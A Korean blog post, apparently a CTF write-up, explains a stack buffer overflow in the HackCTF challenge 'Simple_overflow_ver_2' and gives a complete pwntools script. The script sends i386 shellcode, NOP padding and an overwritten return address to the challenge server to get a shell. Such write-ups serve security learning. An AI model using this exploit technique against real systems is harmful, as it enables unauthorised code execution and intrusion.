취약점을 찾기 위해 IDA 로 뜯어보면

이렇게 나온다.

C 코드만 보고 한번에 알아내긴 힘드니까 한번 실행해본다.

실행 결과랑 코드를 같이 봐 보면

입력받은 값을 s 배열에 저장해서 주소값과 함께 출력하는것 같다.

보호기법도 적용되어 있지 않으니 s 에 쉘코드를 넣고 빈 부분을 \x90 으로 채운 뒤 RET에 s의 주소를 넣어주면 되겠다.

 

그래서 코드를 짜 보면

from pwn import *

#r = process("./Simple_overflow_ver_2")
r = remote("ctf.j0n9hyun.xyz", 3006)

context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())

print(r.recvuntil(": "))
r.sendline("test")
addr = int(r.recv(8+2), 16)
r.sendline('y')

payload = shell
payload += b'\x90'*(0x88 + 4 - len(shell))
payload += p32(addr)

r.sendline(payload)
r.interactive()

이렇게 된다.

728x90

'해킹 > writeup' 카테고리의 다른 글

7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16

+ Recent posts